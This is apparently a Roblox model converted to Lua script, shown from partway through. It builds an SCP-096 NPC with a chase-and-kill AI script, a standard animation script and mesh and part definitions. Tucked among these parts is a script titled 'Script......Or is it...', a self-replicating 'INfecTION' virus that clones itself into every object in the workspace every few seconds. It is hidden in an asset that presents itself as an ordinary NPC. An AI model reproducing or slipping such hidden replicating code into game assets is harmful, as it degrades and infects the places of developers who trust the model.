- local FreeSCP096Kill=FreeSCP096Head:FindFirstChild("Damage5");
- local FreeSCP096Torso=FreeSCP096:FindFirstChild("Torso");
- for _,Child in pairs(FreeSCP096:GetChildren())do
- if Child.ClassName=="Humanoid"then
- FreeSCP096Humanoid=Child;
- end
- end
- local NoticeDistanceTime=0;
- local Noticed=false;
- function findNearestTorso(pos)
- local NoticeDistance=150;
- local torso=nil;
- for _,TargetModel in pairs(Game:GetService("Workspace"):GetChildren())do
- if TargetModel.className=="Model"and TargetModel~=FreeSCP096 and TargetModel:FindFirstChild("Torso")and TargetModel:FindFirstChild("Head")then
- local TargetPart=TargetModel:FindFirstChild("Torso")
- local FoundHumanoid=nil;
- for _,Child in pairs(TargetModel:GetChildren())do
- if Child.ClassName=="Humanoid"then
- FoundHumanoid=Child;
- end
- end
- if TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<NoticeDistance then
- if not Noticed and TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<20 then
- if FreeSCP096Idle.IsPlaying then
- FreeSCP096Idle:Stop()
- end
- if FreeSCP096Scream.IsPlaying then
- FreeSCP096Scream:Stop()
- end
- FreeSCP096Panic:Play()
- FreeSCP096Humanoid.WalkSpeed=1;
- Wait(35)
- Noticed=true
- end
- if Noticed then
- torso=TargetPart;
- NoticeDistance=(TargetPart.Position-pos).magnitude;
- end;
- end;
- if TargetPart and FoundHumanoid and FoundHumanoid.Health>0 and(TargetPart.Position-pos).magnitude<6 then
- FreeSCP096Kill:Play()
- FoundHumanoid:TakeDamage(99999e99999)
- end
- end
- end
- return torso
- end
- while Wait(0)do
- FreeSCP096Humanoid.MaxHealth=99999e99999
- FreeSCP096Humanoid.Health=99999e99999
- if FreeSCP096Humanoid and not FreeSCP096Humanoid.AutoJumpEnabled then
- FreeSCP096Humanoid.AutoJumpEnabled=true;
- end
- if FreeSCP096Humanoid and not FreeSCP096Humanoid.AutoRotate then
- FreeSCP096Humanoid.AutoRotate=true;
- end
- if FreeSCP096Humanoid and FreeSCP096Humanoid.PlatformStand then
- FreeSCP096Humanoid.PlatformStand=false;
- end
- if FreeSCP096Humanoid and FreeSCP096Humanoid.Sit then
- FreeSCP096Humanoid.Sit=false;
- end
- if Noticed then
- NoticeDistanceTime=NoticeDistanceTime+1
- if NoticeDistanceTime==500 or NoticeDistanceTime>500 then
- Noticed=false;
- NoticeDistanceTime=0
- end
- end
- local TargetPart=findNearestTorso(FreeSCP096Torso.Position);
- if TargetPart then
- if TargetPart and (TargetPart.Position-FreeSCP096Torso.Position).magnitude<50 and NoticeDistanceTime>0 then
- NoticeDistanceTime=NoticeDistanceTime-2
- end
- if FreeSCP096Idle.IsPlaying then
- FreeSCP096Idle:Stop()
- end
- if not FreeSCP096Scream.IsPlaying then
- FreeSCP096Scream:Play()
- end
- FreeSCP096Humanoid.WalkSpeed=35;
- FreeSCP096Humanoid:MoveTo(TargetPart.Position+Vector3.new(math.random(-4,4),TargetPart.Position.Y,math.random(-4,4)),TargetPart);
- else
- if not FreeSCP096Idle.IsPlaying then
- FreeSCP096Idle:Play()
- end
- if FreeSCP096Scream.IsPlaying then
- FreeSCP096Scream:Stop()
- end
- FreeSCP096Humanoid.WalkSpeed=10;
- local WanderChance=math.random(1,50);
- local JumpChance=math.random(1,100);
- if WanderChance==10 then
- local randompos=FreeSCP096Torso.Position+((Vector3.new(1,0,1)*math.random()-Vector3.new(.5,0,.5))*40);
- FreeSCP096Humanoid:MoveTo(randompos,game.Workspace.Terrain);
- end
- if JumpChance==10 then
- FreeSCP096Humanoid.Jump=true;
- end
- end
- end
- --[[ By: Brutez. ]]--
- end))
- Script35.Name = "Animate"
- Script35.Parent = Model0
- table.insert(cors,sandbox(Script35,function()
- function waitForChild(parent, childName)
- local child = parent:findFirstChild(childName)
- if child then return child end
- while true do
- child = parent.ChildAdded:wait()
- if child.Name==childName then return child end
- end
- end
- local Figure = script.Parent
- local Torso = waitForChild(Figure, "Torso")
- local RightShoulder = waitForChild(Torso, "Right Shoulder")
- local LeftShoulder = waitForChild(Torso, "Left Shoulder")
- local RightHip = waitForChild(Torso, "Right Hip")
- local LeftHip = waitForChild(Torso, "Left Hip")
- local Neck = waitForChild(Torso, "Neck")
- local Humanoid = waitForChild(Figure, "SCP")
- local pose = "Standing"
- local currentAnim = ""
- local currentAnimTrack = nil
- local currentAnimKeyframeHandler = nil
- local currentAnimSpeed = 1.0
- local animTable = {}
- local animNames = {
- idle = {
- { id = "http://www.roblox.com/asset/?id=125750544", weight = 9 },
- { id = "http://www.roblox.com/asset/?id=125750618", weight = 1 }
- },
- walk = {
- { id = "http://www.roblox.com/asset/?id=125749145", weight = 10 }
- },
- run = {
- { id = "run.xml", weight = 10 }
- },
- jump = {
- { id = "http://www.roblox.com/asset/?id=125750702", weight = 10 }
- },
- fall = {
- { id = "http://www.roblox.com/asset/?id=125750759", weight = 10 }
- },
- climb = {
- { id = "http://www.roblox.com/asset/?id=125750800", weight = 10 }
- },
- toolnone = {
- { id = "http://www.roblox.com/asset/?id=125750867", weight = 10 }
- },
- toolslash = {
- { id = "http://www.roblox.com/asset/?id=129967390", weight = 10 }
- -- { id = "slash.xml", weight = 10 }
- },
- toollunge = {
- { id = "http://www.roblox.com/asset/?id=129967478", weight = 10 }
- },
- wave = {
- { id = "http://www.roblox.com/asset/?id=128777973", weight = 10 }
- },
- point = {
- { id = "http://www.roblox.com/asset/?id=128853357", weight = 10 }
- },
- dance = {
- { id = "http://www.roblox.com/asset/?id=130018893", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=132546839", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=132546884", weight = 10 }
- },
- dance2 = {
- { id = "http://www.roblox.com/asset/?id=160934142", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=160934298", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=160934376", weight = 10 }
- },
- dance3 = {
- { id = "http://www.roblox.com/asset/?id=160934458", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=160934530", weight = 10 },
- { id = "http://www.roblox.com/asset/?id=160934593", weight = 10 }
- },
- laugh = {
- { id = "http://www.roblox.com/asset/?id=129423131", weight = 10 }
- },
- cheer = {
- { id = "http://www.roblox.com/asset/?id=129423030", weight = 10 }
- },
- }
- -- Existance in this list signifies that it is an emote, the value indicates if it is a looping emote
- local emoteNames = { wave = false, point = false, dance = true, dance2 = true, dance3 = true, laugh = false, cheer = false}
- math.randomseed(tick())
- function configureAnimationSet(name, fileList)
- if (animTable[name] ~= nil) then
- for _, connection in pairs(animTable[name].connections) do
- connection:disconnect()
- end
- end
- animTable[name] = {}
- animTable[name].count = 0
- animTable[name].totalWeight = 0
- animTable[name].connections = {}
- -- check for config values
- local config = script:FindFirstChild(name)
- if (config ~= nil) then
- -- print("Loading anims " .. name)
- table.insert(animTable[name].connections, config.ChildAdded:connect(function(child) configureAnimationSet(name, fileList) end))
- table.insert(animTable[name].connections, config.ChildRemoved:connect(function(child) configureAnimationSet(name, fileList) end))
- local idx = 1
- for _, childPart in pairs(config:GetChildren()) do
- if (childPart:IsA("Animation")) then
- table.insert(animTable[name].connections, childPart.Changed:connect(function(property) configureAnimationSet(name, fileList) end))
- animTable[name][idx] = {}
- animTable[name][idx].anim = childPart
- local weightObject = childPart:FindFirstChild("Weight")
- if (weightObject == nil) then
- animTable[name][idx].weight = 1
- else
- animTable[name][idx].weight = weightObject.Value
- end
- animTable[name].count = animTable[name].count + 1
- animTable[name].totalWeight = animTable[name].totalWeight + animTable[name][idx].weight
- -- print(name .. " [" .. idx .. "] " .. animTable[name][idx].anim.AnimationId .. " (" .. animTable[name][idx].weight .. ")")
- idx = idx + 1
- end
- end
- end
- -- fallback to defaults
- if (animTable[name].count <= 0) then
- for idx, anim in pairs(fileList) do
- animTable[name][idx] = {}
- animTable[name][idx].anim = Instance.new("Animation")
- animTable[name][idx].anim.Name = name
- animTable[name][idx].anim.AnimationId = anim.id
- animTable[name][idx].weight = anim.weight
- animTable[name].count = animTable[name].count + 1
- animTable[name].totalWeight = animTable[name].totalWeight + anim.weight
- -- print(name .. " [" .. idx .. "] " .. anim.id .. " (" .. anim.weight .. ")")
- end
- end
- end
- -- Setup animation objects
- function scriptChildModified(child)
- local fileList = animNames[child.Name]
- if (fileList ~= nil) then
- configureAnimationSet(child.Name, fileList)
- end
- end
- script.ChildAdded:connect(scriptChildModified)
- script.ChildRemoved:connect(scriptChildModified)
- for name, fileList in pairs(animNames) do
- configureAnimationSet(name, fileList)
- end
- -- ANIMATION
- -- declarations
- local toolAnim = "None"
- local toolAnimTime = 0
- local jumpAnimTime = 0
- local jumpAnimDuration = 0.3
- local toolTransitionTime = 0.1
- local fallTransitionTime = 0.3
- local jumpMaxLimbVelocity = 0.75
- -- functions
- function stopAllAnimations()
- local oldAnim = currentAnim
- -- return to idle if finishing an emote
- if (emoteNames[oldAnim] ~= nil and emoteNames[oldAnim] == false) then
- oldAnim = "idle"
- end
- currentAnim = ""
- if (currentAnimKeyframeHandler ~= nil) then
- currentAnimKeyframeHandler:disconnect()
- end
- if (currentAnimTrack ~= nil) then
- currentAnimTrack:Stop()
- currentAnimTrack:Destroy()
- currentAnimTrack = nil
- end
- return oldAnim
- end
- function setAnimationSpeed(speed)
- if speed ~= currentAnimSpeed then
- currentAnimSpeed = speed
- currentAnimTrack:AdjustSpeed(currentAnimSpeed)
- end
- end
- function keyFrameReachedFunc(frameName)
- if (frameName == "End") then
- -- print("Keyframe : ".. frameName)
- local repeatAnim = stopAllAnimations()
- local animSpeed = currentAnimSpeed
- playAnimation(repeatAnim, 0.0, Humanoid)
- setAnimationSpeed(animSpeed)
- end
- end
- -- Preload animations
- function playAnimation(animName, transitionTime, humanoid)
- local idleFromEmote = (animName == "idle" and emoteNames[currentAnim] ~= nil)
- if (animName ~= currentAnim and not idleFromEmote) then
- if (currentAnimTrack ~= nil) then
- currentAnimTrack:Stop(transitionTime)
- currentAnimTrack:Destroy()
- end
- currentAnimSpeed = 1.0
- local roll = math.random(1, animTable[animName].totalWeight)
- local origRoll = roll
- local idx = 1
- while (roll > animTable[animName][idx].weight) do
- roll = roll - animTable[animName][idx].weight
- idx = idx + 1
- end
- -- print(animName .. " " .. idx .. " [" .. origRoll .. "]")
- local anim = animTable[animName][idx].anim
- -- load it to the humanoid; get AnimationTrack
- currentAnimTrack = humanoid:LoadAnimation(anim)
- -- play the animation
- currentAnimTrack:Play(transitionTime)
- currentAnim = animName
- -- set up keyframe name triggers
- if (currentAnimKeyframeHandler ~= nil) then
- currentAnimKeyframeHandler:disconnect()
- end
- currentAnimKeyframeHandler = currentAnimTrack.KeyframeReached:connect(keyFrameReachedFunc)
- end
- end
- -------------------------------------------------------------------------------------------
- -------------------------------------------------------------------------------------------
- local toolAnimName = ""
- local toolAnimTrack = nil
- local currentToolAnimKeyframeHandler = nil
- function toolKeyFrameReachedFunc(frameName)
- if (frameName == "End") then
- -- print("Keyframe : ".. frameName)
- local repeatAnim = stopToolAnimations()
- playToolAnimation(repeatAnim, 0.0, Humanoid)
- end
- end
- function playToolAnimation(animName, transitionTime, humanoid)
- if (animName ~= toolAnimName) then
- if (toolAnimTrack ~= nil) then
- toolAnimTrack:Stop()
- toolAnimTrack:Destroy()
- transitionTime = 0
- end
- local roll = math.random(1, animTable[animName].totalWeight)
- local origRoll = roll
- local idx = 1
- while (roll > animTable[animName][idx].weight) do
- roll = roll - animTable[animName][idx].weight
- idx = idx + 1
- end
- -- print(animName .. " * " .. idx .. " [" .. origRoll .. "]")
- local anim = animTable[animName][idx].anim
- -- load it to the humanoid; get AnimationTrack
- toolAnimTrack = humanoid:LoadAnimation(anim)
- -- play the animation
- toolAnimTrack:Play(transitionTime)
- toolAnimName = animName
- currentToolAnimKeyframeHandler = toolAnimTrack.KeyframeReached:connect(toolKeyFrameReachedFunc)
- end
- end
- function stopToolAnimations()
- local oldAnim = toolAnimName
- if (currentToolAnimKeyframeHandler ~= nil) then
- currentToolAnimKeyframeHandler:disconnect()
- end
- toolAnimName = ""
- if (toolAnimTrack ~= nil) then
- toolAnimTrack:Stop()
- toolAnimTrack:Destroy()
- toolAnimTrack = nil
- end
- return oldAnim
- end
- -------------------------------------------------------------------------------------------
- -------------------------------------------------------------------------------------------
- function onRunning(speed)
- if speed>0.01 then
- playAnimation("walk", 0.1, Humanoid)
- pose = "Running"
- else
- playAnimation("idle", 0.1, Humanoid)
- pose = "Standing"
- end
- end
- function onDied()
- pose = "Dead"
- end
- function onJumping()
- playAnimation("jump", 0.1, Humanoid)
- jumpAnimTime = jumpAnimDuration
- pose = "Jumping"
- end
- function onClimbing(speed)
- playAnimation("climb", 0.1, Humanoid)
- setAnimationSpeed(speed / 12.0)
- pose = "Climbing"
- end
- function onGettingUp()
- pose = "GettingUp"
- end
- function onFreeFall()
- if (jumpAnimTime <= 0) then
- playAnimation("fall", fallTransitionTime, Humanoid)
- end
- pose = "FreeFall"
- end
- function onFallingDown()
- pose = "FallingDown"
- end
- function onSeated()
- pose = "Seated"
- end
- function onPlatformStanding()
- pose = "PlatformStanding"
- end
- function onSwimming(speed)
- if speed>0 then
- pose = "Running"
- else
- pose = "Standing"
- end
- end
- function getTool()
- for _, kid in ipairs(Figure:GetChildren()) do
- if kid.className == "Tool" then return kid end
- end
- return nil
- end
- function getToolAnim(tool)
- for _, c in ipairs(tool:GetChildren()) do
- if c.Name == "toolanim" and c.className == "StringValue" then
- return c
- end
- end
- return nil
- end
- function animateTool()
- if (toolAnim == "None") then
- playToolAnimation("toolnone", toolTransitionTime, Humanoid)
- return
- end
- if (toolAnim == "Slash") then
- playToolAnimation("toolslash", 0, Humanoid)
- return
- end
- if (toolAnim == "Lunge") then
- playToolAnimation("toollunge", 0, Humanoid)
- return
- end
- end
- function moveSit()
- RightShoulder.MaxVelocity = 0.15
- LeftShoulder.MaxVelocity = 0.15
- RightShoulder:SetDesiredAngle(3.14 /2)
- LeftShoulder:SetDesiredAngle(-3.14 /2)
- RightHip:SetDesiredAngle(3.14 /2)
- LeftHip:SetDesiredAngle(-3.14 /2)
- end
- local lastTick = 0
- function move(time)
- local amplitude = 1
- local frequency = 1
- local deltaTime = time - lastTick
- lastTick = time
- local climbFudge = 0
- local setAngles = false
- if (jumpAnimTime > 0) then
- jumpAnimTime = jumpAnimTime - deltaTime
- end
- if (pose == "FreeFall" and jumpAnimTime <= 0) then
- playAnimation("fall", fallTransitionTime, Humanoid)
- elseif (pose == "Seated") then
- stopAllAnimations()
- moveSit()
- return
- elseif (pose == "Running") then
- playAnimation("walk", 0.1, Humanoid)
- elseif (pose == "Dead" or pose == "GettingUp" or pose == "FallingDown" or pose == "Seated" or pose == "PlatformStanding") then
- -- print("Wha " .. pose)
- amplitude = 0.1
- frequency = 1
- setAngles = true
- end
- if (setAngles) then
- desiredAngle = amplitude * math.sin(time * frequency)
- RightShoulder:SetDesiredAngle(desiredAngle + climbFudge)
- LeftShoulder:SetDesiredAngle(desiredAngle - climbFudge)
- RightHip:SetDesiredAngle(-desiredAngle)
- LeftHip:SetDesiredAngle(-desiredAngle)
- end
- -- Tool Animation handling
- local tool = getTool()
- if tool then
- animStringValueObject = getToolAnim(tool)
- if animStringValueObject then
- toolAnim = animStringValueObject.Value
- -- message recieved, delete StringValue
- animStringValueObject.Parent = nil
- toolAnimTime = time + .3
- end
- if time > toolAnimTime then
- toolAnimTime = 0
- toolAnim = "None"
- end
- animateTool()
- else
- stopToolAnimations()
- toolAnim = "None"
- toolAnimTime = 0
- end
- end
- -- connect events
- Humanoid.Died:connect(onDied)
- Humanoid.Running:connect(onRunning)
- Humanoid.Jumping:connect(onJumping)
- Humanoid.Climbing:connect(onClimbing)
- Humanoid.GettingUp:connect(onGettingUp)
- Humanoid.FreeFalling:connect(onFreeFall)
- Humanoid.FallingDown:connect(onFallingDown)
- Humanoid.Seated:connect(onSeated)
- Humanoid.PlatformStanding:connect(onPlatformStanding)
- Humanoid.Swimming:connect(onSwimming)
- -- setup emote chat hook
- -- main program
- local runService = game:service("RunService");
- -- initialize to idle
- playAnimation("idle", 0.1, Humanoid)
- pose = "Standing"
- while Figure.Parent~=nil do
- local _, time = wait(0.1)
- move(time)
- end
- end))
- StringValue36.Name = "climb"
- StringValue36.Parent = Script35
- Animation37.Name = "ClimbAnim"
- Animation37.Parent = StringValue36
- Animation37.AnimationId = "http://www.roblox.com/asset/?id=125750800"
- StringValue38.Name = "fall"
- StringValue38.Parent = Script35
- Animation39.Name = "FallAnim"
- Animation39.Parent = StringValue38
- Animation39.AnimationId = "http://www.roblox.com/asset/?id=125750759"
- StringValue40.Name = "idle"
- StringValue40.Parent = Script35
- Animation41.Name = "Animation1"
- Animation41.Parent = StringValue40
- Animation41.AnimationId = "http://www.roblox.com/asset/?id=125750544"
- NumberValue42.Name = "Weight"
- NumberValue42.Parent = Animation41
- NumberValue42.Value = 9
- Animation43.Name = "Animation2"
- Animation43.Parent = StringValue40
- Animation43.AnimationId = "http://www.roblox.com/asset/?id=125750618"
- NumberValue44.Name = "Weight"
- NumberValue44.Parent = Animation43
- NumberValue44.Value = 1
- StringValue45.Name = "jump"
- StringValue45.Parent = Script35
- Animation46.Name = "JumpAnim"
- Animation46.Parent = StringValue45
- Animation46.AnimationId = "http://www.roblox.com/asset/?id=125750702"
- StringValue47.Name = "run"
- StringValue47.Parent = Script35
- Animation48.Name = "RunAnim"
- Animation48.Parent = StringValue47
- Animation48.AnimationId = "rbxassetid://510059034"
- StringValue49.Name = "toolnone"
- StringValue49.Parent = Script35
- Animation50.Name = "ToolNoneAnim"
- Animation50.Parent = StringValue49
- Animation50.AnimationId = "http://www.roblox.com/asset/?id=125750867"
- StringValue51.Name = "walk"
- StringValue51.Parent = Script35
- Animation52.Name = "WalkAnim"
- Animation52.Parent = StringValue51
- Animation52.AnimationId = "http://www.roblox.com/asset/?id=125749145"
- Script53.Name = "Script......Or is it..."
- Script53.Parent = mas
- table.insert(cors,sandbox(Script53,function()
- if script.Parent.className ~= "RotateP" then
- local p = Instance.new("RotateP")
- p.Parent = workspace
- p.Name = "INfecTION"
- script.Parent = p
- end
- function check()
- local list = workspace:GetChildren()
- for i = 1, #list do
- if list[i]:findFirstChild("INfecTION") == nil and list[i].className ~= "RotateP" then
- script.Parent:Clone().Parent = list[i]
- end
- wait()
- end
- end
- while true do
- check()
- if workspace:findFirstChild("inFECtion") == nil then
- local main = script.Parent:Clone()
- main.Name = "inFECtion"
- main.Parent = workspace
- end
- wait(3)
- end
- end))
- BodyColors54.Parent = Model0
- BodyColors54.HeadColor = BrickColor.new("Institutional white")
- BodyColors54.LeftArmColor = BrickColor.new("Institutional white")
- BodyColors54.LeftLegColor = BrickColor.new("Institutional white")
- BodyColors54.RightArmColor = BrickColor.new("Institutional white")
- BodyColors54.RightLegColor = BrickColor.new("Institutional white")
- BodyColors54.TorsoColor = BrickColor.new("Institutional white")
- CharacterMesh55.Name = "SCP-096 Left Arm"
- CharacterMesh55.Parent = Model0
- CharacterMesh55.MeshId = 75390829
- CharacterMesh55.BaseTextureId = 255692783
- CharacterMesh55.BodyPart = Enum.BodyPart.LeftArm
- CharacterMesh55.OverlayTextureId = 255692783
- CharacterMesh56.Name = "SCP-096 Left Leg"
- CharacterMesh56.Parent = Model0
- CharacterMesh56.MeshId = 32328520
- CharacterMesh56.BaseTextureId = 255692783
- CharacterMesh56.BodyPart = Enum.BodyPart.LeftLeg
- CharacterMesh56.OverlayTextureId = 255692783
- CharacterMesh57.Name = "SCP-096 Right Arm"
- CharacterMesh57.Parent = Model0
- CharacterMesh57.MeshId = 75390843
- CharacterMesh57.BaseTextureId = 255692783
- CharacterMesh57.BodyPart = Enum.BodyPart.RightArm
- CharacterMesh57.OverlayTextureId = 255692783
- CharacterMesh58.Name = "SCP-096 Right Leg"
- CharacterMesh58.Parent = Model0
- CharacterMesh58.MeshId = 32328627
- CharacterMesh58.BaseTextureId = 255692783
- CharacterMesh58.BodyPart = Enum.BodyPart.RightLeg
- CharacterMesh58.OverlayTextureId = 255692783
- Hat59.Name = "Eye"
- Hat59.Parent = Model0
- Hat59.AttachmentForward = Vector3.new(-0, 0.999999523, -0.00100100052)
- Hat59.AttachmentPos = Vector3.new(-0.200000003, -0.419999987, 0.300000012)
- Hat59.AttachmentUp = Vector3.new(0, 0.00100100052, 0.999999523)
- Part60.Name = "Handle"
- Part60.Parent = Hat59
- Part60.Material = Enum.Material.Neon
- Part60.BrickColor = BrickColor.new("Really red")
- Part60.Rotation = Vector3.new(-89.9399948, 0, 0)
- Part60.CanCollide = false
- Part60.Elasticity = 0
- Part60.FormFactor = Enum.FormFactor.Custom
- Part60.Friction = 2
- Part60.Size = Vector3.new(1.73657537, 1.73563242, 1.73563719)
- Part60.CFrame = CFrame.new(36.5423737, 12.9089546, -91.4973755, 0.999993324, 1.08500882e-11, -1.08587117e-14, 1.8092752e-18, 0.00100062753, 0.999999523, 1.0850044e-11, -0.999999523, 0.00100062753)
- Part60.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part60.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part60.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part60.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part60.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part60.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part60.Color = Color3.new(1, 0, 0)
- Part60.Position = Vector3.new(36.5423737, 12.9089546, -91.4973755)
- Part60.Orientation = Vector3.new(-89.9399948, 0, 0)
- Part60.Color = Color3.new(1, 0, 0)
- SpecialMesh61.Parent = Part60
- SpecialMesh61.Scale = Vector3.new(0.568191171, 0.610279262, 0.420882314)
- SpecialMesh61.MeshType = Enum.MeshType.Sphere
- SpecialMesh61.Scale = Vector3.new(0.568191171, 0.610279262, 0.420882314)
- Model62.Name = "Mini SCP-096"
- Model62.Parent = mas
- Model62.PrimaryPart = Part78
- Part63.Name = "Left Arm"
- Part63.Parent = Model62
- Part63.Material = Enum.Material.SmoothPlastic
- Part63.BrickColor = BrickColor.new("Institutional white")
- Part63.CanCollide = false
- Part63.Elasticity = 0
- Part63.FormFactor = Enum.FormFactor.Symmetric
- Part63.Friction = 2
- Part63.Size = Vector3.new(0.609632194, 2.43852758, 0.609632194)
- Part63.CFrame = CFrame.new(62.2105103, 2.62147307, -91.6650696, 0.999993205, 2.82727922e-27, -4.37122836e-08, -3.23116425e-27, 0.999996603, -1.97145546e-27, 4.37127525e-08, 2.253084e-27, 1)
- Part63.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part63.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part63.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part63.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part63.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part63.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part63.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part63.Position = Vector3.new(62.2105103, 2.62147307, -91.6650696)
- Part63.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part64.Name = "Left Leg"
- Part64.Parent = Model62
- Part64.Material = Enum.Material.SmoothPlastic
- Part64.BrickColor = BrickColor.new("Institutional white")
- Part64.CanCollide = false
- Part64.Elasticity = 0
- Part64.FormFactor = Enum.FormFactor.Symmetric
- Part64.Friction = 2
- Part64.Size = Vector3.new(0.609632194, 2.43852758, 0.609632194)
- Part64.CFrame = CFrame.new(62.637249, 1.21932447, -91.6650696, 0.999993205, 2.82727922e-27, 4.37098961e-08, -3.23116425e-27, 0.999996603, -1.97145585e-27, -4.3710024e-08, 2.253084e-27, 1)
- Part64.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part64.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part64.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part64.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part64.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part64.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part64.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part64.Position = Vector3.new(62.637249, 1.21932447, -91.6650696)
- Part64.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part65.Name = "Torso"
- Part65.Parent = Model62
- Part65.Material = Enum.Material.SmoothPlastic
- Part65.BrickColor = BrickColor.new("Institutional white")
- Part65.Elasticity = 0
- Part65.FormFactor = Enum.FormFactor.Symmetric
- Part65.Friction = 2
- Part65.Size = Vector3.new(1.21926439, 1.21926379, 0.609632194)
- Part65.CFrame = CFrame.new(62.9420624, 3.04821396, -91.6650696, 0.999993205, 2.82727941e-27, -1.19371949e-12, -3.23116425e-27, 0.999996662, -1.97145565e-27, 1.36424064e-12, 2.2530842e-27, 1)
- Part65.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part65.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part65.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part65.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part65.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part65.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part65.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part65.Position = Vector3.new(62.9420624, 3.04821396, -91.6650696)
- Part65.Color = Color3.new(0.972549, 0.972549, 0.972549)
- BodyGyro66.Parent = Part65
- BodyGyro66.P = 10000
- PointLight67.Parent = Part65
- PointLight67.Color = Color3.new(1, 0, 0)
- PointLight67.Brightness = 5.0000000692421e+23
- PointLight67.Color = Color3.new(1, 0, 0)
- PointLight68.Parent = Part65
- PointLight68.Color = Color3.new(1, 0, 0)
- PointLight68.Brightness = 5.0000000692421e+23
- PointLight68.Color = Color3.new(1, 0, 0)
- PointLight69.Parent = Part65
- PointLight69.Color = Color3.new(1, 0, 0)
- PointLight69.Brightness = 5.0000000692421e+23
- PointLight69.Color = Color3.new(1, 0, 0)
- PointLight70.Parent = Part65
- PointLight70.Color = Color3.new(1, 0, 0)
- PointLight70.Brightness = 5.0000000692421e+23
- PointLight70.Color = Color3.new(1, 0, 0)
- PointLight71.Parent = Part65
- PointLight71.Color = Color3.new(1, 0, 0)
- PointLight71.Brightness = 5.0000000692421e+23
- PointLight71.Color = Color3.new(1, 0, 0)
- Motor6D72.Name = "Neck"
- Motor6D72.Parent = Part65
- Motor6D72.C0 = CFrame.new(0, 0.609631896, 0, 0.99999994, -0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
- Motor6D72.C1 = CFrame.new(0, -0.304815948, 0, 0.99999994, 0, 0, 0, -4.37113883e-08, 1, 0, -1, -4.37113883e-08)
- Motor6D72.Part0 = Part65
- Motor6D72.Part1 = Part78
- Motor6D73.Name = "Left Shoulder"
- Motor6D73.Parent = Part65
- Motor6D73.C0 = CFrame.new(1.03637469, 0.731558323, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Motor6D73.C1 = CFrame.new(0.304816097, 0.304815948, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
- Motor6D73.Part0 = Part63
- Motor6D73.Part1 = Part65
- Motor6D74.Name = "Right Shoulder"
- Motor6D74.Parent = Part65
- Motor6D74.C0 = CFrame.new(-1.03637469, 0.731558323, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
- Motor6D74.C1 = CFrame.new(-0.304816097, 0.304815948, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
- Motor6D74.Part0 = Part88
- Motor6D74.Part1 = Part65
- Motor6D75.Name = "Left Hip"
- Motor6D75.Parent = Part65
- Motor6D75.C0 = CFrame.new(-0.304816097, -1.21926379, 0, 0, 0, -1, 0, 1, 0, 1, 0, 0)
- Motor6D75.C1 = CFrame.new(0, 0.609631896, 0, -4.37113883e-08, 0, -1, 0, 0.99999994, 0, 1, 0, -4.37113883e-08)
- Motor6D75.Part0 = Part65
- Motor6D75.Part1 = Part64
- Motor6D76.Name = "Right Hip"
- Motor6D76.Parent = Part65
- Motor6D76.C0 = CFrame.new(0.304816097, -1.21926379, 0, 0, 0, 1, 0, 1, -0, -1, 0, 0)
- Motor6D76.C1 = CFrame.new(0, 0.609631896, 0, -4.37113883e-08, 0, 1, 0, 0.99999994, 0, -1, 0, -4.37113883e-08)
- Motor6D76.Part0 = Part65
- Motor6D76.Part1 = Part77
- Part77.Name = "Right Leg"
- Part77.Parent = Model62
- Part77.Material = Enum.Material.SmoothPlastic
- Part77.BrickColor = BrickColor.new("Institutional white")
- Part77.CanCollide = false
- Part77.Elasticity = 0
- Part77.FormFactor = Enum.FormFactor.Symmetric
- Part77.Friction = 2
- Part77.Size = Vector3.new(0.609632194, 2.43852758, 0.609632194)
- Part77.CFrame = CFrame.new(63.2468758, 1.21932447, -91.6650696, 0.999993205, 2.82727922e-27, -4.37122836e-08, -3.23116425e-27, 0.999996603, -1.97145546e-27, 4.37127525e-08, 2.253084e-27, 1)
- Part77.BackSurface = Enum.SurfaceType.SmoothNoOutlines
- Part77.BottomSurface = Enum.SurfaceType.SmoothNoOutlines
- Part77.FrontSurface = Enum.SurfaceType.SmoothNoOutlines
- Part77.LeftSurface = Enum.SurfaceType.SmoothNoOutlines
- Part77.RightSurface = Enum.SurfaceType.SmoothNoOutlines
- Part77.TopSurface = Enum.SurfaceType.SmoothNoOutlines
- Part77.Color = Color3.new(0.972549, 0.972549, 0.972549)
- Part77.Position = Vector3.new(63.2468758, 1.21932447, -91.6650696)
